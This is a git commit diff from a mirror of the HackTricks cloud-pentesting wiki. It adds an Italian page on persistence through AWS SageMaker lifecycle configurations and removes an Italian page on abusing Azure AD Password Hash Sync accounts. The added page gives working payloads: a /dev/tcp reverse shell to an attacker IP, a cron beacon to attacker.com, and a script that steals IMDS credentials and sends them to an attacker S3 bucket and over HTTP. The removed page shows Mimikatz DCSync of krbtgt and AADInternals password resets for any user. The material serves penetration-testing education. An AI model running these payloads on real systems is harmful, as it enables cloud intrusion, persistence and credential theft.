mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-12 13:05:19 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sagem
This commit is contained in:
@@ -0,0 +1,156 @@
|
||||
# AWS - SageMaker Lifecycle Configuration Persistence
|
||||
|
||||
## Panoramica delle Tecniche di Persistenza
|
||||
|
||||
Questa sezione delinea i metodi per ottenere persistenza in SageMaker abusando delle Configurazioni del Ciclo di Vita (LCC), inclusi reverse shell, cron job, furto di credenziali tramite IMDS e backdoor SSH. Questi script vengono eseguiti con il ruolo IAM dell'istanza e possono persistere attraverso i riavvii. La maggior parte delle tecniche richiede accesso alla rete in uscita, ma l'uso di servizi sul piano di controllo AWS può comunque consentire il successo se l'ambiente è in modalità "solo VPC".
|
||||
#### Nota: Le istanze di notebook SageMaker sono essenzialmente istanze EC2 gestite configurate specificamente per carichi di lavoro di machine learning.
|
||||
|
||||
## Permessi Richiesti
|
||||
* Istanze di Notebook:
|
||||
```
|
||||
sagemaker:CreateNotebookInstanceLifecycleConfig
|
||||
sagemaker:UpdateNotebookInstanceLifecycleConfig
|
||||
sagemaker:CreateNotebookInstance
|
||||
sagemaker:UpdateNotebookInstance
|
||||
```
|
||||
* Applicazioni Studio:
|
||||
```
|
||||
sagemaker:CreateStudioLifecycleConfig
|
||||
sagemaker:UpdateStudioLifecycleConfig
|
||||
sagemaker:UpdateUserProfile
|
||||
sagemaker:UpdateSpace
|
||||
sagemaker:UpdateDomain
|
||||
```
|
||||
## Imposta la Configurazione del Ciclo di Vita sulle Istanze Notebook
|
||||
|
||||
### Esempi di Comandi AWS CLI:
|
||||
```bash
|
||||
# Create Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-notebook-instance-lifecycle-config \
|
||||
--notebook-instance-lifecycle-config-name attacker-lcc \
|
||||
--on-start Content=$(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Attach Lifecycle Configuration to Notebook Instance*
|
||||
|
||||
aws sagemaker update-notebook-instance \
|
||||
--notebook-instance-name victim-instance \
|
||||
--lifecycle-config-name attacker-lcc
|
||||
```
|
||||
## Imposta la Configurazione del Ciclo di Vita su SageMaker Studio
|
||||
|
||||
Le Configurazioni del Ciclo di Vita possono essere collegate a vari livelli e a diversi tipi di app all'interno di SageMaker Studio.
|
||||
|
||||
### Livello del Dominio Studio (Tutti gli Utenti)
|
||||
```bash
|
||||
# Create Studio Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-studio-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Apply LCC to entire Studio Domain*
|
||||
|
||||
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Studio Space Level (Spazi Individuali o Condivisi)
|
||||
```bash
|
||||
# Update SageMaker Studio Space to attach LCC*
|
||||
|
||||
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Tipi di Configurazioni del Ciclo di Vita dell'Applicazione Studio
|
||||
|
||||
Le configurazioni del ciclo di vita possono essere applicate specificamente a diversi tipi di applicazioni SageMaker Studio:
|
||||
* JupyterServer: Esegue script durante l'avvio del server Jupyter, ideale per meccanismi di persistenza come reverse shell e cron job.
|
||||
* KernelGateway: Esegue durante il lancio dell'app del gateway del kernel, utile per la configurazione iniziale o l'accesso persistente.
|
||||
* CodeEditor: Si applica all'Editor di Codice (Code-OSS), abilitando script che vengono eseguiti all'inizio delle sessioni di modifica del codice.
|
||||
|
||||
### Esempio di Comando per Ogni Tipo:
|
||||
|
||||
### JupyterServer
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-jupyter-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
```
|
||||
### KernelGateway
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
|
||||
--studio-lifecycle-config-app-type KernelGateway \
|
||||
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
|
||||
```
|
||||
### CodeEditor
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
||||
--studio-lifecycle-config-app-type CodeEditor \
|
||||
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
||||
```
|
||||
### Informazioni Critiche:
|
||||
* Allegare LCC a livello di dominio o spazio influisce su tutti gli utenti o le applicazioni nel campo di applicazione.
|
||||
* Richiede permessi più elevati (sagemaker:UpdateDomain, sagemaker:UpdateSpace) tipicamente più fattibili a livello di spazio che a livello di dominio.
|
||||
* I controlli a livello di rete (ad es., filtraggio egress rigoroso) possono prevenire shell inverse o esfiltrazione di dati riuscite.
|
||||
|
||||
## Shell Inversa tramite Configurazione del Ciclo di Vita
|
||||
|
||||
Le Configurazioni del Ciclo di Vita di SageMaker (LCC) eseguono script personalizzati quando le istanze del notebook vengono avviate. Un attaccante con permessi può stabilire una shell inversa persistente.
|
||||
|
||||
### Esempio di Payload:
|
||||
```
|
||||
#!/bin/bash
|
||||
ATTACKER_IP="<ATTACKER_IP>"
|
||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||
```
|
||||
## Persistenza dei Cron Job tramite Configurazione del Ciclo di Vita
|
||||
|
||||
Un attaccante può iniettare cron job tramite script LCC, garantendo l'esecuzione periodica di script o comandi malevoli, abilitando una persistenza furtiva.
|
||||
|
||||
### Esempio di Payload:
|
||||
```
|
||||
#!/bin/bash
|
||||
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
||||
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
|
||||
CRON_JOB="*/30 * * * * $CRON_CMD"
|
||||
|
||||
mkdir -p /home/ec2-user/SageMaker/.local_tasks
|
||||
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
|
||||
chmod +x $PAYLOAD_PATH
|
||||
|
||||
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
|
||||
```
|
||||
## Esfiltrazione delle Credenziali tramite IMDS (v1 & v2)
|
||||
|
||||
Le configurazioni del ciclo di vita possono interrogare il servizio di metadati dell'istanza (IMDS) per recuperare le credenziali IAM ed esfiltrarle in una posizione controllata dall'attaccante.
|
||||
|
||||
### Esempio di Payload:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
||||
|
||||
# Exfiltrate via S3*
|
||||
|
||||
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||
|
||||
# Alternatively, exfiltrate via HTTP POST*
|
||||
|
||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||
```
|
||||
|
||||
@@ -1,114 +0,0 @@
|
||||
# Az - PHS - Password Hash Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
[Dal documento:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La sincronizzazione dell'hash della password** è uno dei metodi di accesso utilizzati per realizzare l'identità ibrida. **Azure AD Connect** sincronizza un hash, dell'hash, della password di un utente da un'istanza di Active Directory on-premises a un'istanza di Azure AD basata su cloud.
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
È il **metodo più comune** utilizzato dalle aziende per sincronizzare un AD on-prem con Azure AD.
|
||||
|
||||
Tutti gli **utenti** e un **hash degli hash delle password** vengono sincronizzati dall'on-prem a Azure AD. Tuttavia, le **password in chiaro** o gli **hash originali** non vengono inviati a Azure AD.\
|
||||
Inoltre, i gruppi di sicurezza **integrati** (come gli amministratori di dominio...) **non vengono sincronizzati** con Azure AD.
|
||||
|
||||
La **sincronizzazione degli hash** avviene ogni **2 minuti**. Tuttavia, per impostazione predefinita, la **scadenza della password** e la **scadenza dell'account** **non vengono sincronizzate** in Azure AD. Quindi, un utente la cui **password on-prem è scaduta** (non cambiata) può continuare ad **accedere alle risorse Azure** utilizzando la vecchia password.
|
||||
|
||||
Quando un utente on-prem vuole accedere a una risorsa Azure, l'**autenticazione avviene su Azure AD**.
|
||||
|
||||
**PHS** è necessario per funzionalità come **Identity Protection** e AAD Domain Services.
|
||||
|
||||
## Pivoting
|
||||
|
||||
Quando PHS è configurato, alcuni **account privilegiati** vengono automaticamente **creati**:
|
||||
|
||||
- L'account **`MSOL_<installationID>`** viene automaticamente creato in AD on-prem. Questo account riceve un ruolo di **Directory Synchronization Accounts** (vedi [documentazione](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) che significa che ha **permessi di replicazione (DCSync) nell'AD on-prem**.
|
||||
- Un account **`Sync_<nome del server ADConnect on-prem>_installationID`** viene creato in Azure AD. Questo account può **reimpostare la password di QUALSIASI utente** (sincronizzato o solo cloud) in Azure AD.
|
||||
|
||||
Le password dei due precedenti account privilegiati sono **memorizzate in un server SQL** sul server dove **Azure AD Connect è installato.** Gli amministratori possono estrarre le password di quegli utenti privilegiati in chiaro.\
|
||||
Il database si trova in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
|
||||
È possibile estrarre la configurazione da una delle tabelle, essendo una criptata:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
La **configurazione criptata** è criptata con **DPAPI** e contiene le **password degli utenti `MSOL_*`** in AD on-prem e la password di **Sync\_\*** in AzureAD. Pertanto, compromettendo questi è possibile ottenere privilegi elevati nell'AD e in AzureAD.
|
||||
|
||||
Puoi trovare una [panoramica completa su come queste credenziali sono memorizzate e decrittografate in questo intervento](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### Trovare il **server Azure AD connect**
|
||||
|
||||
Se il **server dove è installato Azure AD connect** è unito al dominio (raccomandato nella documentazione), è possibile trovarlo con:
|
||||
```bash
|
||||
# ActiveDirectory module
|
||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
|
||||
|
||||
#Azure AD module
|
||||
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
|
||||
```
|
||||
### Abusare di MSOL\_*
|
||||
```bash
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
|
||||
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Puoi anche usare [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) per ottenere queste credenziali.
|
||||
|
||||
### Abusare di Sync\_\*
|
||||
|
||||
Compromettendo l'account **`Sync_*`** è possibile **reimpostare la password** di qualsiasi utente (inclusi gli Amministratori Globali)
|
||||
```bash
|
||||
# This command, run previously, will give us alse the creds of this account
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Get access token for Sync_* account
|
||||
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
|
||||
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
|
||||
|
||||
# Get global admins
|
||||
Get-AADIntGlobalAdmins
|
||||
|
||||
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
|
||||
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
|
||||
|
||||
# Reset the users password
|
||||
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
È anche possibile **modificare le password solo degli utenti cloud** (anche se ciò è inaspettato)
|
||||
```bash
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
|
||||
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
È anche possibile estrarre la password di questo utente.
|
||||
|
||||
> [!CAUTION]
|
||||
> Un'altra opzione sarebbe **assegnare permessi privilegiati a un service principal**, che l'utente **Sync** ha **permessi** per fare, e poi **accedere a quel service principal** come modo di privesc.
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
È possibile utilizzare Seamless SSO con PHS, che è vulnerabile ad altri abusi. Controllalo in:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user